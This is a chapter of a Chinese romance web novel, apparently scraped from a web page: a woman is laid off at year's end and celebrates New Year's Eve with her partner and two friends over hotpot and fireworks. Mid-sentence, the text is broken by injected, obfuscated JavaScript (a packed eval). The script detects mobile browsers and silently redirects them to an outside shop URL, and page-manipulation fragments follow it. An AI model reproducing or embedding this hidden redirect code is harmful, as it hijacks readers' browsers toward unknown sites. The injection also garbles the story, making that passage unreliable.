20. 新年
作品:《捡到一棵树》 一到年底,关山就忙到脚朝天,老板把几个月的工作量都压缩在这几天,像是马上要跑路。本来不喜欢喝饮料的她也开始和小胡一起点咖啡,但午休的时候还是会累到趴在桌上睡到打呼。
上次和陈嘉木推心置腹地聊了一场,她已经不会再因为外卖多加卤蛋就觉得愧疚了,她要善待自己。这几天下班回家关山都选择打车,没有难闻的汗馊味和吵人的音视频外放,司机开着暖风,她不知不觉就睡着了。
直到陈嘉木打来电话,她才强制自己清醒,打着哈欠接起来:“我要吃烤肉,肥滋滋的那种。还有豆皮,被油烤到半干,配着香菜一起,斯哈...”陈嘉木还一句话没说,她就给自己说饿了,中午吃的盖饭早就消化了,肚子也开始咕噜着配合她。
陈嘉木在电话那边笑出声:“好,我们吃烤肉,那你先回家休息,我去买菜。”
“一起吧。”出租车已经停到小区口,关山付了钱下车,往小区里走,“我在凉亭这等你。”
关山把外套的帽子兜在头上,整个人缩起来靠着柱子看云,怪不得陈嘉木喜欢这个位置,这里背风视野又好。
陈嘉木快步跑向凉亭,看到她闭着眼睛,放轻了脚步。本来关山的外套就很厚,现在这样更像个绒球。他忍不住弯腰靠近,轻轻吻了一下她的额头。
关山闻到熟悉的味道,起身倒向他,脸埋在他的大衣上:“不是说了不许在外面亲我吗。”
“还是我自己去买菜吧。”陈嘉木隔着帽子揉了揉她的头发。
“我是坚强勇敢的人,我只是五行缺觉,可以去买菜。”
关山困得像喝醉了一样,开始胡言乱语了,陈嘉木笑着牵住她的手:“好,坚强勇敢的关山。”
两个人走到超市的时候,关山已经被冷风吹精神了,突然想起方竞舟已经有段时间没来看陈嘉木了。不知道他们家是怎么跨年的,厉檬之前约他们一起,她还没来得及问他。
陈嘉木看她在那发呆,把牛肉卷放在购物车里:“在想什么?”
“前几天厉檬打电话想和我们一起跨年。你家那边怎么过的,用不用回家一趟?”
陈嘉木又拿了一大包薯条:“那你要和我一起回去吗?”
关山的头摇成拨浪鼓,谁会和半生不熟的老板一起跨年啊。
“那我不回去。年底集团审计,年会总结之类的事情很多,集团有很多事要忙,以前也都是我自己过。”陈嘉木眼中的落寞一闪而过,牵着关山的手,“我们一起跨年。”
她扶着购物车往前走:“那得多买点菜了。跨年吃火锅,来年一定红红火火。”说着,她又想到了什么,“你有没有想邀请来一起跨年的朋友?”
陈嘉木第一时间想到了孙特助,他以前也没什么朋友,生病之后和别人就更没联系了。他从货架上拿了几包原味薯片,看向关山:“有,是男人。你介意吗?”他已经领教过关山的边界感有多强,她的安全感要慢慢补回来。
关山噗地笑了,然后故作深沉仰头看他:“你最好的朋友如果是女性,我们就要好好谈谈了哦陈先生。”
“你会吃醋啊?”
陈嘉木脸上的惊讶不像是装的,关山反问他:“这很奇怪吗?”
“想象不出来。”陈嘉木一本正经地摇摇头。
她拿了几盒进口巧克力放进购物车,拍了拍他的肩膀:“那是因为陈先生在这方面做得很好,陈太太不会没醋硬吃。”
“陈太太”三个字像是加热后的蜜糖,化在他的心尖上。他一手推购物车一手牵住关山的手,克制着吻她的冲动。
临近元旦假期,关山收到了裁员信息,既没有提前通知更谈不上经济补偿。关山虽然也不是很喜欢这份工作,但是她喜欢稳定,如果有持续收入就会更安心。她本就有心再找其他工作,但是年底机会很少,本打算过完年再说的。
小胡也没逃过,她一整天都没有什么活力,也不和关山闲聊了,低着头不停发信息。刚转正就被裁员,这又是她大学毕业后第一份工作,难以接受也正常。关山默默给她点了一杯全家福奶茶。
关山已经多次经历这种状况,只想着还要把她的靠垫毯子都拿回家。她给陈嘉木发了信息:我被裁员了,晚上来接我(T_T)
陈嘉木正在和孙特助说跨年聚会的事,看到她的信息马上就回复了:好。这下可以在家跟我二人世界了诶(*?ω<>
关山看着那个颜文字总觉得很欠揍:你是不是在家做了某些神秘仪式,心愿达成了啊。
陈嘉木收到孙特助答应邀约的信息之后,笑着回复关山:我才没有。陈太太不如跟我许愿,我可以满足你一个愿望。
我要三室一厅,楼下有花园,物业会动物友好,安保做到位的。
发完了关山自己都想笑,她像是在给房产中介发信息。
下班以后,关山抱着两个大袋子,一出电梯就看到陈嘉木迎上来,他接过东西:“暂时可以放松一段时间了,开心吗?”
“开心不起来。”关山撇嘴,年终奖没了。
陈嘉木叫的车停在大厦门口,他把东西放进后备箱,和关山一起坐在后排,揽着她的肩膀:“我们把东西放回家就去外面吃吧?庆祝你提前结束被资本家奴役的生活。”
“我都失业了,还吃这么好哦。再说了,你也是资本家。”关山靠在他身上,“对了,你的朋友是哪位啊?有没有什么忌口?”
“是孙特助,他倒是没忌口。”陈嘉木看着关山从他怀里弹起来。
“孙特助和你是朋友啊?”幸好之前没有因为他是方竞舟的特助说什么坏话,她挠了挠鼻子。
不上班的人会彻底放松。休息的这两天,第一天关山一直在补觉,她醒了吃吃饱睡,直接进入养膘状态。第二天可算缓过来了,起来和陈嘉木做大扫除,去去霉运。
两个人收拾完就端着水果茶坐在窗前等雪,一起通关卡了好久的游戏。有陈嘉木陪着她,她短暂失业的焦虑完全没生存土壤。
跨年的当天,厉檬下午就到了,拎着两瓶红酒,和一大袋烟花。她的头发比上一次关山见她时更短了,配上她活力四射的状态,格外飒爽。
陈嘉木一个人穿着围裙在厨房备菜,厉檬坐在沙发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198959|197143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,仔细打量着客厅。虽说她来过很多次了,但自从陈嘉木在,她们每次都约在外面,这还是她第一次看到关山家焕然一新的样子。
以前全屋都是黑白色调,也几乎没有软装,简直是性冷淡样板间。现在客厅摆着鲜花,白色的餐桌被罩上了草莓桌布,窗帘也换成暖黄色的,还加了一层遮光布。她好奇地左看右看,像是在找不同。再看卧室,房间里多了一个取暖器,桌子上的相框里是他们在动物园的合影。床上躺着一只小狮子,贴着巨大的海豹玩偶,很小鸟依人。
厉檬满意地笑着:“看来过得不错,我放心了!”
两人又聊了一会儿,关山起身去厨房,从背后抱了他一下:“陈大厨,辛苦了。”
陈嘉木用没沾湿的那只手拍了拍她的胳膊:“怎么留客人自己,我这边没事,你们去说话吧。”
“好贤惠哦陈先生。”关山往客厅看了一眼,确认厉檬在看电视后,飞快在他脸上亲了一下,“奖励。”
陈嘉木看她像小鸟一样飞走,玻璃上的反光照出他的笑容,有点傻。
跨年歌会开始以后,孙特助才到。关山先听到的敲门声,打开门就看到他还穿着西装,拿着一个包装精美的礼品盒,表情有些拘谨,像是上门送礼的乙方。
陈嘉木也跟过来,看到孙特助时笑了笑,接过礼物:“怎么穿的这么正式?”
孙特助将西装挂在门口:“临时加了会儿班。我第一次来总不能空手的,这是一套餐具,希望你们别嫌弃。”
“不会不会,很感谢。”关山再次共情了孙特助,笑着招呼,“快进来吧。”
三个人回到客厅,陈嘉木开口介绍:“这是我的朋友,孙阳。这是关山的朋友,厉檬。”
人到齐了,陈嘉木把菜都端来,关山给几个杯子里倒上红酒。火锅蒸腾着水汽,更热闹的是几个人聊天的声音。孙特助本就不是话多的人,他多半时间都在听,只默默吃着涮肉。关山以为是他饭量大,用手肘撞了撞陈嘉木的胳膊,又看了一眼孙特助。
陈嘉木会意,往孙特助那边下了肉:“我老婆怕你吃不饱,你自己夹。”
“谢谢关小姐。”
孙特助抬手要夹肉,被陈嘉木拦下:“什么关小姐,这是陈太太。”
厉檬在餐桌下踢了踢关山,低头捂嘴笑着。
四人吃完火锅,桌上还剩了不少菜。买菜的时候只想着这个好,买了,那个也不错,买了,压根没有估算食量。几个人撑得不行,桌子都没收拾,瘫在沙发上看跨年歌会。
可能是喝了酒的缘故,孙特助解开两颗衬衣扣子,坐姿也不再那么板正了。厉檬酒量一直很好,还能时不时对着电视上的明星吐槽。关山从没见过陈嘉木喝酒,但看他神色如常,酒量应该也不差。
厉檬揉了揉肚子:“我买了烟花,我们去楼下放吧?不然待会儿该倒计时了。”
几个人起身穿外套,下楼的时候陈嘉木说回去拿点东西。等他到了楼下,就看到孙特助自己站在一边,举着烟火棒,像个人形火把。关山正和厉檬蹲在空地上摆大号烟花,看到他过来招了招手。

